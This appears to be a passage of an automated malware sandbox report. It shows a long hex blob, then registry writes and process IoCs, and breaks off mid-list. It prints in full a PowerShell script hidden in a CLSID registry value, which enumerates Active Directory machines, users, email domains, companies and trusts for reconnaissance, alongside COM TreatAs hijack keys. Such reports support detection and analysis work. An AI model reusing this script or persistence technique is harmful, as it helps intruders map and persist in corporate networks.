aa439a0776b666d6b2269e70cb611ec69f8e752beb7983cbc57295a1144f282b94bf014c011f59d8523cb824fbe250afb3e948f21dfc03ae0ad29267e0b68b2e94f9aa8a363a8e94594897728277215e2723b430b21cba081d531a7b704d7b672b12a5c3dc1277241ddae363112938f79d628aab16388431731188351d33a3acaca235c29555721cbab53d9b2f1b36eb247d83c17a8ce021d7037adb8341a26ff808dec090e59e59f987518288f674772132b9c9ccb48c082bd8fef8b9bb61b5b1c4d8b2ea58ad3011a4019fab67897f0254b5cfd48fa7cb4f3e05923e8a82f5276594657a543bf4a07c3e2a8e47bc97ab1253d0b0f31dee65703352877bfc780bdeeee618401deb62ce951455d3e5e9158e8d82ca08b35c9921b25bd70ce8a35ed848cec6fb3c777d41a2bad90542d607a2c95128e1eb422dd8b07d9ac77794c528910b9a273e7747dc63ab4ea81b3f34d14c6c53f65e4550ed2fb85e2ff9f800b99c928df0354ef7989d4873716d601dc0d7bb85801af9a341d2a003659377a4bfa5dd7cfda76e3b24e3a814184a2732f7f26810edfa90cfc47e6e76455a8c90d6539e028ed4a9a767ad6b50da6e097121e1b84d0b9d1820839113614024f2c055265b65381bd6236ecb4c5f37c32cba2c09f21ad1b8fa2a135c95dd22a9202bb0a0470fb5445ab8014af4cb2fc4470dec60d6ad221ca2de481d77963d398076453abf6ecd15a4f9be8bcfd39e2f9939bf02fcbdb8642bc5c477fa7b0e3c0ae916b9f92bd8a8fc372042e28e1628d41d3bcdb1d6722eb04f85b0353b8b24ae57afa1f338dc619360c5020fcc038f125fb9b4dff210d99dc263574794a1190c5b0ccacd5aa74d18b8872c31024cc2d96fbe307c189f8f7410a8636e6cb4167a1405662fa7fab4867d6c11e48a3a68540edecc3d0bbc3761cb7036ce7ca0e2c0a30699dac75c8b523ae7a100f1342427b29b4b391fe74256e626b7056214cefc5608b8f966e1e769417b5b1b822d23e449ea2e2bcf1838315eb978987c2cc4211bcb146c7588a5050754a6c7ba3424e64326fe12deffee0866455344014905cb4395fa26d8a8341e3c653e2c5b9c091cb32d1fca2bd469a3f7918fa05eafaa8976312dc9dfec74abc0fc6e37c919b12502da4b053f7022914338f04479377d23cbb52f7fb632d97ff5016ab29c6aa0ac0a8a561b55499515af025e33e46352e4560123591a6ae88baceb4c9f568a13c9089a0b01abf17bc84b0b1d0f8156ce130e2d45a699a42206867725df9603d3fc6d8cf9a4b21cfcbc7fb05dcaf15e44da0c3d5b85643fd2387d19a03e142bb364e672039110d222e787ef71f15163b5126935093e4dbfda9c61c5c8d62b713c61030e47a35427f555d57e3767a11f32d62f55e8624e148ac02085e6df135034e13c3ca8ecb84bac9504c1bfce1b7e39499caf02c3aad77ed12999080b54f3f6ec54ec6c59fd59bee3b60b13aa9981d73df439ebc4af5ec414628c3862ff5d5792e8450de993cad4d5fd1676fb6d3f2a7ff58eb978ff51611c746d272a7aa594b014a903f983170b4814fedaa26b7e306588635da1fa6d83906b5852ac725a140efef41bd8b90f64a9f5e6e8f83571d9bc018484a30b96c00c7a45bddd98130badd86af0b9e1b200199fb41f0d65abdfc2e400d5bcd94ce4cd4125ce87bcacbd3deae8c4333628090c303a84e9c4294f19464da42d354a33d3c7372624b310083060b8d8ea3363b93bc0dfa1346f9d882e4111664be8e75d137a09a2f3ed676b4ad05ad734865367a3b7bc3e0af796bde2aa77d7ee29eef2c44be6390816acd673ed1569f2191b6ba5e0f8c6df86d997482b796a4214f138e4a6485429f87ef98dd36420bb7839fc17bb1390938955c63cfad154d01948fed2c5453b2e3307e3b973e3a17c3b4d5ac86031bf7c95952614856bc693c54fe8077fa1d3dc40b50cd243e57839454aca129f4c74d6d9aa5aa418c547e1b1df5f394461878d8d2e537141559de515d5757e38d8793d3879392cc042f732d00ccf212da2f3b578fa6aae5c54a8ea8553e120cdcfd6cd61384daff048fc174a9d309229abd76c050026066e5551fc700475ad01274e2a87f6b3ccbf451c67557a16ad9f0cc9d034603ff14c8e61a46aad4713102b9ce7b039f0b12da17fc8b2c81ba4eb49bc30c1888f6c63693660b19a274d17d3b8ff8f36fb338ba2430a401c9a50c175962e2f4c3f3ec1a049e3462fee1a4a5fb91fa31cfe1e19fbeb47c8a498f4fb5a0c8a1c65e0c60838cc340f7051a90f62efcbbc59eaa68e5337c740fdb3997ae3dec5b0a8fb62665b2f2171a6c4edceb8b3fc49cd7c4ebe49376deab5b409e10e42dfe3d44ffbb10ca380431cc2880d5f81582985ea56f305787735b2bc81f8f42dc4faba25735f157f35c56fddb9653e4fb5306301b529d24a4ed2f293e8c7dcb0b61e234c52dc295c048bb98862152dad5021d84b090296ca4441a9f067d1cc600d4a53efc6df257511a3693a369cc5c14fb2686f1cf4f72ef23442e37abc87143d4050b45d45e55bfe9d23919548386944d63f55c3b1c29d02933f27ae24c304f82e082c4af89ac0c1b6b9c5d900a5c07559ccc08782841481f2f504ca78554699865c10aa9fee7241b22dc62aa92bfdd7dbd6c302a33507be4e7b9c0fd2b7a97d7ea2ae0891a3b3bdce510541b1b288aa5588c172c6eef87c23038b9e1d5b1f4f5c5ad9c671bc72c3b2c36689c7899f9fea25ed99e4274ed47140841bbcd4567bae2a7a4c262326c245944e4ee7b974f944cf230beadd7d9b126162642c6091ca92922bc2746cf4cce4d24013c78db56804137e6d62465185e58a29d1c403f6ed60d937dcdfac8c76fd37b796ed35b06a4f6718dfff050d2eb94f5a4a8579ac31d4259d4d520bdd840dc28bb48bfa18c5c1b016466eecc9d6333ca12ab9d32381869398140a768574e686f7bc259ab2ba39442ff06710b03854fa04ddc132605469b54606c387dce67c541943cae0929ae18d396603deb2fdd8914135556d0d8b01cf900bc50a409a70d0c5ab6fea8079dc34657df3b7e207d722f2637246015244136d53a2a33832b0b844266aca5ef3cb88517c9aac6db3fe96054a4d1d82c18cc49ae0b197a70c3378c7d6b0b58ba169c0e6218b948a4c78c4d4ae9ad31aca27cf20c54be396203072e4123019f4e0ab1607f705e95c0b14a23072fcd532f87c8887ca8c7819961ad156e481df0c0f5fdf7ec58c37afa51c42e382a526f43afed573848b63d8ac5d52b3a9f67968e8db9fe16abdb7df7cada6334d5a4a39b9afa8ee1262c3809634013a468aef25f39bf39efd183a9b9cf88a26cc964e7eb221251863aec3f39d24b9917daa6e28436e6d20556d384426f277790a71bc2456950b3840bd7ccc6a1ea9ab0456879fdf6c2b7193472bf1b9bbcac920c0e1f77c76891e17b7c5d64144e7ec2a45482437d2f27a9fa1ae7f63dcc4db0b024622baef271151f2134a526e4618cec51410c5738b29d30e650bf6736cd3ccc83865ef8f12c1f3c05cf4074008fa00629ac3e131912eaa560c011022dfcd0ae38dd3eb3d9225849186ff3ba9fd113c09203a28ee0ea6f0a63e3c942ddc68ae98ef60d00937d9a71ee0d0ff8ea8ec787f0ca4476bbf158ab6977cdf6e4772bd1c5983b6aa20a2fc7b6a2cdf137586a773e8454b946f6757cae6cc34a2c288dd80d9ace4b0aa478f730c4600fd1cbf2326048fca2ff8719c1c3a91002603f93b236cb24c98616c1a8257b96c3e7b39e1bbccbba10db4a0e6d38220dd9d2b4bf75991d1d773841ccbcc4b2dc26b473e357982e2aad4a9a63936efae11d8d22fc81d9198af8503ebe235ca23e55620a49d763fa629c140aa027b1e8c8ef71305c5ae17ecf1edcac5019329d27651c12963aa2fa8947b10b9cae505d855dcfc792b2581911d92b58e40dfb5dadf2be66da75176b93ab6bb2653415f25ce68de1c42dc9bdf7cfcf080386449f430bc99636b669918710b683aa4b4485c65d71343ef57bbde6fd1fd77da461a18d85752c83c230e5abcc3ec613b71a8cb202330efb094bee04237fba7fa407d20721906d1422c85df5726306aca13fa50fb9d6527ef0e955d362c4c80525b463bdf8c631d8e2fab01d8518a9e29db2535720dbb4cabf560dc023f1fd86b30585246819a661c6c81965cdde1f92897919738b5dfb62b725375f64fbdf09cda992f2a973d3a6bdb20af300ab802707cafaa60273df111a679c1b5b046b039d834491c6499dc4700be78b9e46fa8cd6e646ca2b30ea1f80c6c3a56269bbb8fb06abfc6a7d331e5bb87c56dfc86e3ce8063e5bf6861616638f11cdf0f1cbb141672c64c1fded9b7a85e11d108fcb4c87f84cca39cf6d4f8e513ba13dfa06eac5209a5cbf353a71e43ce6a65b1aa3beeab1c681f3ca308b073698a5a7ebbad5e5b313912922a664e7fdfe001b191e35b45fd55e0a51933c214bf5c0f439614ed2c967dba68b84ebd125a6cd125fd837b7a2e889703ae8e098d2a28823b75e7eda109a6e538f36edd5c33be6a261099514737ff820df1590d56450fca08b41e8f4bf53ad8c4f85be56f3ed6000a431c780069a5db35eebf7ece8f7801bf32bd30a29ef778fc7f0319bac98489dac196010b75a2ecba8720720c574857d91f9d9e255c6dc752b29d350af03a4cb335e2d9118f93f0037ac9d085559de718a93c53e56e62c728980705826b3a51e82221cb866ed26e25217fc7d2eb4b3aebad427579ee940cb0e71a2a71b6d442191b6a083f32010b883c02d69008c895bade601168d6544241b202e9e7df4cc257edc201e3e0ec946e5c1af316fab2df2ccfc892420b97213a3ec575e01a3a954a1fc78e6f7c62a10756a40b1bb8e48995d541a916e44af64bdb97bd9f3c28ab24cdb207092af7405ec1582f8a9092eecc7a783bce187fc98f72299c3dc02f75154307bee9ae8957b1fa7e4dec241033f499572c227c01758c4cecead52841e2f07e289553675ec2205149882ca82bc4e2ba844ae2634af0fda6c354ce4aefc2cb4248f29f103f8c52dfbfb8d480fd52e178bf9d28045765a514e1560119d08d2885869db6d759777d6e9678a6ab6b46aa8a4be2be5822711d99ab2cb0872120240eb4e73aae4459e3d803936b18bf7f7957411d02c6ca84ae8e2b4349eb59229a65823baebad14d7af07c86d2e01ecfded34dd8e3cb8c8d54bc05c50eb2ae8a455b9e660820fbe254b2700cc7991bcc4e7b7c73f5145b7d3a26f6dad359a00162da4a3e595b57039c116a56d95b4c1a65c9c02e55eb5f6118cecb4ef5b17c02f33241cad84d804f01c538e66e466ec95da0c0cefc08cbcd0969f402ce4bd28b8e39f6efed0681d46adec78e3464cfd5d913b4a0ea3f1a0a8fc550d46b113fd968b94e56010dffe33af6da866fe2854fba46452e6290d4f1bb3bf01634c9720c483203d90c66e3f119e2c6ac8bfcf0d08475dd77c965c06accbee81f8f75d6e42b636e2d0bb35a947b7cdc8e7cf7ef8f5f6ce6bb9e1713dc9c6a5a140dce5d83e1758d487ac1ed8d234975ffe10d96cd5aa8f886daf8aa11f7296b78a486461d51bcb1039f2fa08f7d66da802fe87e7285d86e1c463083b37a8b3b92a57a10a248e15e4cb7d576541a50a514d83b391a3d1407c89e2bfd8d1e82c65e001f6ed99eb5349c133953eea160116720b2e1faff291e5213e158240c095bead01220e09bd1e9bb2c897998ed9cb2d0dafdeaabfe30263df786ccd3b5fdaca0bf6aa3420217b60131f84d56493fe9953c3c1d76f873faf8fd0a11c4cb95ec7975ea51975a2bf4a9c6c4500c1af61354476b7d652fa6c1e9c971e3a3147053e057648c4b173b7ea3d417b1af971da2d26d2606327039df779d3ddbbc1c38a81e3612842def127d91f2af304e9b561dd967b1b6e30bdbc0fccb92d674e82f0c88af46acefb3a04819a565e201adc1c8151d43a6977cd4bb2d0a5031d4905eb86a421dc65f593fd7273f9557e877f8cbf1ed43335b8d1c6424ac78a9ddd2b695648f0ce3bafd445e5a6af851b3e50bdcee5932949c837974216cae4686be27ecf3696c5affba39d54d7ce00a703c40bd4717ca7635ef8b1a157091984aef278849b49f7244261680cef7d2f8bd1f254dad227c18a5eab56108c61cedbf9dfad9324f656ce04744436f09f8d92f6f72e989fef53f9283a731c7d0b72d57753849caaa466e569c6292a62b47dd66faae093e6e08f0e18c89a2276e48c3aa0512332664e3decae6d4f0944850b4ee929eaa4a5e07f6e563e89ec23a810a465fe18f7ae06e7fe42090e3a3d2ef5afc97ca6a60088b6e13aa5b5db67e58ca3602a1fb27ba53cb8291082add466a8aa584a94545b0ac425ac1dfeeee8ce3752ac5aa39fe4297326950cfc9337e9ea1ab4baa7db1f13d15c7469563eaa0052e5a75db19bd30256ec6602479385bb98c4c16adf9a11276a3c041aa3a7626e3912b0e810002731ce6ab8a7471e579595759068cb2edc8ecb1a52634f83bf43fbeb135505b1f8c280d51f76cecc1b62d0cca8bc5d0829152b9903923f2336c8ff2fbdcb215e0369e3585269b037c55370867a0ca47e92d5d1b610d572bfac290ebc37676589c717f8cc8deb16efffa6e1f6c254132214d3530344b09f71d18f3b64a7d3cd9db7de0b789da7a5e5508d2009cfc66fe338db137e25fe66bfd5a616479f3bf2a72156e1a1b4b21ef1a85cdfa9d3ee7a9a82d074387ec2f8efd5e64f59312f2f49af679e83bcc53f17245dfaac1511bae26bc6d91890b736217bdc9160c10d363c619a9a02a218cca9afa36238322c54c34efba5d9c36f3ef2c878c828b9e68702fd30ad0d6afb69b221fa57910da1c6b21288149a27d0d8ddecb4b6fbdd8de367f33df04cdf664ce869f3ac05ec2f254b76828cb067b5271ed383b4bd057b5e96858e2c9c56beea14df067725aa88046b71dc7d4f022a39634d7694c4f41654179f3c75730efed6b4683f348d63ca3b486c7f1725a814595abd17aef5cb6409bdc0ad8882211b003a49814028c20cfad049c8fb4f16f2c7e2cbcaaf13c0083064856ed8c21aa2cf9410dc279771c7592ea03f1e0d35953a16b67a7c0695a744f70f5bc85404a1aa4cbde3016a1ecf91306dfa3aedc6265b792cf9ac6282c5dc72a4707a72dcf6725e3e7f43b79cbba98a5d2af1f63e6057951c085f301339c7b4848f864516528c52b6d2fbaa8a9d6c43d6817237c00cff8a98579ac92d117a5cf316e25c8e00e26aaf6ef3c919ed07a27114a505d41c7a81fe498fb6181aa9568903ed2dfb44e05f359ca8a6c46c3448418c5c20c58b1a9ab160559818bf73068e7a86a6222659c596f29795c4f30810806d2342bf1c55e0fbf181e18e0da8d193470836ec42f9afda11b8ad7aea223c4ca6476d5ae5633fa769580192d323992e1e3bb97174479957af9b3d34a2b57b7649709e479c7c802ed3d8024f6d62968c69777dfb9c4c8fb35951875d876b088956ecfaa8aac403c1cd1aef9b25fe0636233a710713681115f26216fad1b6ca5a9db5efca5d6501c8cf1d7ed045c800da1ba0c9ece5b0021c28a56e52be81c8b91fdb9c65fcb012973dd4b3e74ed6f7da7945f37266080b1b8cb12e738dfe98a40dfd6366842ab42e12ae6616492cb1358a405dbb59e428d7befcab3d38f3bca3861f3a94a8c967c245b533a941277ad5bd892af618ba706612cee059fe831fd25947f40ca5093adcba077a66b178e6391c5eafb8f6b91c21d73b7472feee941f174b79f541ebb7fbb670d78e261ef4c9639a8a3927314a596bfbbe91ad3eae96f06da63f010a3bce3ef25ed9833727105380876e3cd1b2d7a1c6b3a7ad632af784433025cacc5f57bfa2085235e9399ae95847bda8b5f2c1e10394efdd00fa88fa50f7cb992e77d8e4f779ff3501f011f00b3a20013935efbdd85d3af3c4ea4d1f3610c162a2072663e4fc65288e888f44e44bbf4fd83f7aa777b5a14cd6c6eaea98a074ce29893b15d20916f91766288de30cfd4453f27550b2bbbe0636c40b5cc26cd516d77d05abebfc18dace71ba28452f8ba2590770eea89ada7c42ffa247dee07923f5664a2f549ad1439fc6f937d4aee78138399bba76fbceddb18b39dc457048ffd2e527f5d8a7017c4925abb31a0e7e1634183b8b4cdd99ecc689c0b96905d37b2cab0a94ade20cb5453f7f37a04e8ef65498c6290bd1fd105823d842da9ce87037f5017ae6783e38c2a761fa28b859241ef6d84980bec3306e9b84e64ac49a6ffa90cdeb08515f326fe32c73d278f842fe42b84b3fc53b2d3ca64bea437b3d22435ecdc70c5e198b28686cc126a8e0296df5ceb6dcbaa9918e8ef70d40c9b5ea84ebb0d9a0dc73221403dec31f417cdda9906aca9a6f34879828549dda737f1a374ab84186fc8ff80c6fdd5e340155c9308af0168255fce87bb317ebe7a7583883c9feff7a9ff77f884932d7536082c86d1f0e2f2ac563d5167a79ce0269940beb7aa54d9c2c49048b8faed6a3daa3d930a68ebced1ff4a4410e99de22adb2842bb15f182d3fe8703c799632b20d1a6c0aa97410a6ec53d9ee5a788e1d2102a75886e51171e837aadb7f6c95db7d657551c2ffc91d32f45bed4f6846137c87016e58ebe6a6d49cb4e0cd6816f260818f170fcac88b07398b4dad5f33fc4cb32c732ad25263443d7773206da14d1fcaa54a423a5c1acf0b01f6979cf7758bfdc09deabea9119e0aa8238924b597645e10d0161e1a10f3a3d607bd4ff696eba47cd308767ede6d863c18f8895aeb159f1c9618784a6b7a58ffb33db5dcb2c4acfd5f5ec6530569962dbb10d76deba54f1a894335dcc067d5a886ddbfa8db4d6ceaa3f0540b87073a191bee2ac769ce56c6f8eed2ea46747045b2b3e38080327918322d837222b89e5a6cce0b5266f8990ed3f29e1c2f9190ac75663fd33efd0eb9c2a5cdb0498d6b2fdeae602809d4f772fafb7a0b8b0afe19c312393fdc7be0e27011ecac703d335b0acc25fa4459df4180d256d1f48de1ffe7fd4b0b48658952a207dff0907a8385908d5a2531c162903b6e5fefbc62546c9b8eac59219ff6a794f1ffc7f2ec29be78ba088a46d648381b98619ddcd65708f6df6fa5b55d48d81490ac19dc1140ec77a97e898dd81eb812ec227721006a3369db07382f23db82426f83fe44f6f2ec7815c79f8d518257247b79e14041b9c5a5bc067b8c4b70aa4445ffd91a47cf4731f11e9f53e576342523b0ff7dadc1c48713b75ae0c3a7a0c66d5097f564a5434813ca58d5756183461431f52570bf392198c02c20f21bc7f6157b665ce89f8c67aead065360c28d604d7ebf1ccb0f79c43c22ee90dcaa086d3c4c9dd8499e296f72be803df9d0f58a620c5a9301a1009f4c417f6b51b8368d4e30433c46e6bc43d6333b186e320a3e72e4f0fbdae7a7122a2f30dd5a490e85fb8a2c5b36178f0f5df610fd1658125b03db67a5cd105b8154cb16ae7033e19fcec4025428c3dd902c0a633ba61b2af2bfb51c578bc532e299ea45cc3402d20b9919d8012dd3a2f69e1115c42f9e7c4895524cd04060f1c1b0a6998eccbbffc357f1f3d469c674649752b1530b5a675d64d8f9dedc07e4144f7f035b9b9b5dd790fcbe5f2a86e1b21cd22c4167ccf4cd82962687b7dfdeee701dd04135c381fb8e196f45b2a9682ca276a685dc0fbf64ab13b966dc56a5406b1b4d99c20d274be8cc8a810b5530097168dd5ebad1c08a66fcd60ec4dc49106d22fe8f0fc352a3682180ce4abe428aa2ec7394f506cf86a61b0dd9c9e4699c487eb88ccd9f60c50276f71fffffc6a24d1ec12c9e12a693dff0301243b40247cb24240be699eda27b0f90dfe536bd9d4f34a44e25845d9ca2a114b0b6e72114dae6312cf06bc4928f57c48c06dff7bd74642b77194f3e8e12bb47c793261f449285250df01eda61fd52dd3f9c009c770ae9fd6d85813319a78320af463c2e7546764fadddcac4661a172bd7977296302cfff3ba3655481d46ff220bde4ead5cc8eca80de23deb474b9218694b69eb9a5853d411c0910628cc8c0fbf44c9e2c62923c59445105982aaa0ca7aa084bfdcc958edf4afeedf5cc674d84c3cf00dc167084629a4af0cb72fe05e2e1f525750abafec8f0f651f883a5fbd132327f0d411574ac7f80876acde938e856c2116122860b091d985ac8b54388e1aebf570cb38acab08cb7466e51bd5da7680b4c628b92355a44c860e117ad134e58dc233d98a76340fe4749dec9190f33ac8aa760a57896399b7d8769fc510abf9c1d8854e58ba2439018d3c7b442a2af584bc330bfb923e36bb9a397c8800b9714664beb3ceaa133d7fa689e0d51e6ddba09af4112521a257ea2c5d785adf449449526e80a6e9298cec4156d20ee8b54f965c189849709b409f6ca56faaa24c6164f04fb24cfac0cc5e712c9ca0445c95bfb24b502b837a8b23ef207f31fbd79c660c6f7896674ebf8e36ad60ebca4c94e9ab24cc19b2cbb91c8a64f4e1a1a581f08194ce3123bc62df0b7047ffdbb975a23b7fb9eeb2fbb3e80167a8a3150fcbb30c83d6f0daf0f01d4fcce4b32345e981eecb96f65ed773c8b94db82e3fcac373ae1f8904b948e40e59dbc6811e9a100206a1adf35dda026c1f19c979fa2618cac3f3ffd5da3b115684dfbdd12cbbd67889e6181ee4bafcce5801af1d4a610cadb25f18fe43b031b988b6be3c0341e679b5bf019ec86bc0c361f4cb88b54b6ce1b05b6bc367a3b03ed73fec2a23f813b2bee65addffb88f8f13ea85b5b89eac64455be81652aab5070964646d5f97db422f3866dcc58160b584c842e37744c1ef930bddf0b1d48617842fe0c7de46d76e54549d68d16b80068a634486639771cfe0f75bb4736b2637bec3d2b948d16a0d8a6e689c62be7569088c298f9c3de15258187b53fac998c674046991d8c05d27540b1725071303122ee7c038a97beff75f8767e4d24510ade98ca149a99089cc499def3a0422e1892f89bb09adf21ac0602e2e0ee95e8b478a3a000e6d97e0888bc12168baae980a4514557af4a806bc6c51afb21aeff2635b24307895d87b28137a22dbd3cb1e2effb8b51b6816b8cceb391ac01068197c959c623fe290b6790a0a2a5465f6fbdee567b01590d55e92a87258058005e2fd59be53c4d2b4d8c9fe121f8017a27dadf6d2f0bdfc161169483c6f8b1d89f9a1e7dec1d67fa38fd4b2d43deb0f394a9a9d5b23e0fafccd00b7f2872cccb331c6cc715a2937194b6ab7d4618f80039e1d8380e82d078129276dd5bddd1632b17ed5196aa5336e87c361a185a5f55a0040f292cecf00737b6f0645bc9ccdb5a8ea575653d23a1aae40e90084fd3d6e4e120fd4cc85b210de5ff79eaa40de4326ff908353f7f051dc0bc12d7a7df3bcb70576db445a78e7ca6ba56aa74c3a449368cf26d0ff2b891b298efe456d3a172d9a6664156a091a4fa161e1416ac48e112a3e710af6060587b3e843c6f7e9d9c28cf9dd037d80a96791a9aff2cc1cdee42fa7d8f28483ece315f53a17db9a2ae6e47280ef79b4ec124f3d5d3aba33e58490bb633fddc92d3637034eb1271a05e698962323a941482bdac3d6d19d4b7bc4141a52f459496b51a63cc3a146349374da0ae46d71a0805bea07522e19d0f06a4b529a1b0da6b2ee979b649771869e9216c83f369d70cc8916fe72be6a90403386a4dd98acc2bcce2921cfd1009625026b12bd2309ebe40c7c1c90b821b9846f7fa68fe039c211e6c2930a8ed26b1543a3ac0abd7a93129b2012fce619669ce08b593c0b86da73b82d2dd761ed9dfc1f37d932a15c1d8a68765058be8b944b7361c996c142a39fc6f54e6b247be462d2cffdfbac7ba0378a77dd0958839f23a361d2a6fc522eb79d08ccc65b468a26dcef36926cc326cc5b26043a9782d61d4fbd5f246b6de3f3d2898d76eab1fc1438ed6d2dd2bd1b27349c04b9ab3f597197cb4f6af9de9de4a906cfb054ff3d84e05cccfaaa2ce5ce2d3e95be4d6efe059f74414b9639b powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\VersionIndependentProgID\1211 = 61724536714e6d2722565a586f2e424476435f4d674669547a4b48637b3e773008602c4741627e7d2f7a68636d6a326476396774736977723830616e70333579786c75716b316f62377a656f7053366d317d4751506349786e2d3976696b682f5e753b643f30625f33522a452e7437444d5b3824487e4c2b71563d5977545d61227c3a412c3e5c284f4029793235435a583c6a60466667577225266c4a344b7323557b4e422127 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000_Classes\CLSID\1124 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{110E1106-040E-0400-0603-13090E0D0F09} powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{110E1106-040E-0400-0603-13090E0D0F09}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\ProgID powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\ProgID\ = "{07120E11-0009-010F-0A12-11081110030C}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{12110B10-0104-1207-0C00-0C0D010B010C}\LocalServer powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{110E1106-040E-0400-0603-13090E0D0F09}\TreatAs powershell.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 3492 powershell.exe 3492 powershell.exe 3492 powershell.exe 3492 powershell.exe 4724 msiexec.exe 4724 msiexec.exe 4740 powershell.exe 4740 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3492 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3492 powershell.exe Token: SeDebugPrivilege 4740 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
